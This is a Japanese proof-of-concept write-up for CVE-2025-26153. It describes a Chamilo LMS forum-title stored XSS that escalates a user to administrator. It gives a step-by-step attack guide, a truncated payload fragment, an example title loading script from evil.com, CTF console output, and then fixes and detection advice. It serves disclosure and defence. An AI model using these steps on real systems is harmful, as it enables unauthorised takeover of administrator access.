Chamilo LMS (<= v2.0) - 保存型XSSから権限昇格へのPOC [CVE-2025-26153]

概要

このリポジトリには、Chamilo LMS における 保存型クロスサイトスクリプティング（XSS）の脆弱性 を悪用し、通常ユーザーからプラットフォーム管理者への 権限昇格 を達成する実証コード（PoC）が含まれています。 この脆弱性は登録・修正済みです: https://nvd.nist.gov/vuln/detail/CVE-2025-26153

脆弱性の詳細

CVE 情報

• 対象アプリケーション: Chamilo LMS <= v2.0
• 脆弱性タイプ: 権限昇格につながる保存型 XSS

技術的詳細

脆弱なコードの場所:

1. /public/main/forum/forumqualify.php - 277行目

   root@kitploit:~

   $form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
   

2. /public/main/forum/viewforum.php - 369行目

   root@kitploit:~

   .$thread->getTitle().'</a>';
   

3. 他にもあります！

根本原因:

• フォーラムのスレッドタイトルが適切なサニタイズなしに保存される
• スレッドタイトルが複数の場所で HTML エスケープされずに表示される
• XSS の実行を防ぐ Content Security Policy (CSP) がない

権限昇格のステップバイステップガイド

フェーズ 1: 情報収集

ステップ 1: 対象ユーザー情報の収集

1. Chamilo LMS にログインする
2. ソーシャルネットワーク -> 個人情報 に移動する
3. user_info を開き、以下の情報をメモする:
   • ユーザー ID
   • ユーザー名
   • 名
   • 姓
   • メールアドレス

ステップ 2: カスタムペイロードの生成

1. ペイロードジェネレーターを実行する:
   root@kitploit:~

   python generate_payload.py
   

2. ステップ 1 で取得した対象ユーザー ID を入力する
3. 変更したくない説明情報を入力する（または新しい値を指定する）
4. スクリプトがカスタマイズされた payload.js ファイルを生成する

ステップ 3: ペイロードを外部にホストする

1. 生成した payload.js を公開ホスティングサービスにアップロードする:
   • GitHub Gist（推奨）
   • GitHub Pages
   • 自前の Web サーバー
2. ペイロードファイルへの直接 URL をメモする

フェーズ 2: XSS インジェクションと実行

ステップ 4: ソーシャルグループにアクセスする

1. Chamilo LMS にログインする（任意のユーザーアカウントで可）
2. ソーシャルネットワーク -> ソーシャルグループ に移動する

ステップ 5: ソーシャルグループに参加または作成する

1. 既存のソーシャルグループに参加する、または
2. 必要に応じて新しいソーシャルグループを作成する

ステップ 6: XSS ペイロードを展開する

1. ソーシャルグループ内に新しいスレッドを作成する
2. スレッドタイトル欄に、以下の XSS ペイロードを入力する:
   root@kitploit:~

   eval(x.responseText);x.send()">
   

3. YOUR-HOST-SERVER を実際のホスティング URL に置き換える
4. スレッドを送信する

ステップ 7: 権限昇格をトリガーする

1. 管理者権限を持つユーザーがソーシャルグループを閲覧するのを待つ
2. 管理者が悪意のあるスレッドを表示すると、XSS ペイロードがバックグラウンドで自動的に実行される
3. 権限昇格は静かに行われるわけではない - 管理者はユーザー一覧にリダイレクトされる
4. 指定した対象ユーザーは、目に見える兆候なしにプラットフォーム管理者へ昇格する

フェーズ 3: 検証

ステップ 8: 権限昇格の確認

1. 対象ユーザーとしてログインする
2. 管理者権限が付与されているか確認する
3. 管理機能へのアクセスを確認する

ペイロードジェネレーターの使用方法

generate_payload.py スクリプトを使用すると、権限昇格攻撃をカスタマイズできます:

入力パラメータ:

• 対象ユーザー ID
• 新しいユーザー名
• 新しいパスワード（任意）
• 公式コード
• メールアドレス
• 名、姓、電話番号（任意）

攻撃フローの例

1. 攻撃者が悪意のあるフォーラムスレッドを作成する
   └── タイトル: <script src=//evil.com/payload.js></script>

2. 管理者ユーザーがフォーラムを閲覧し、スレッドを表示する
   └── ブラウザが外部 JavaScript を読み込み、実行する

3. ペイロードが権限昇格データを含む隠しフォームを作成する
   └── 管理者昇格のために特定のユーザー ID をターゲットにする

4. フォームが CSRF 攻撃により自動送信される
   └── 管理者のセッション Cookie が自動的に使用される

5. 対象ユーザーがプラットフォーム管理者になる
   └── 攻撃者がプラットフォーム全体の制御を獲得する

緩和策

即時修正

1. 入力サニタイズ

   root@kitploit:~

   // 修正前
   $threadEntity->getTitle()
   
   // 修正後  
   htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
   

2. 出力エンコーディング

   root@kitploit:~

   <!-- 修正前 -->
   {{ thread.title }}
   
   <!-- 修正後 -->
   {{ thread.title|escape }}
   

3. Content Security Policy

   root@kitploit:~

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

長期的な解決策

• 包括的な入力検証フレームワークの導入
• 定期的なセキュリティコードレビュー
• CI/CD パイプラインでの自動セキュリティテスト
• 開発チームへのセキュリティトレーニング

検出と監視

ログ分析

以下を監視する:

• 異常な管理者ユーザーの作成・変更
• HTML/JavaScript を含む不審なフォーラムスレッドタイトル
• 信頼できないドメインからの外部スクリプト読み込み

法的免責事項

重要な法的通知

この実証コードは、教育目的および許可を得たセキュリティテスト専用 に提供されています。

• 自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください
• コンピュータシステムへの不正アクセスは、ほとんどの法域で違法です
• この調査は、組織がセキュリティ態勢を改善するのに役立つことを目的としています
• 著者は、この情報の誤用について一切責任を負いません

調査クレジット

発見と分析: US Cyber Combine

テスト環境: USCG CTF Environment

攻撃成功時のコンソール出力:

XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200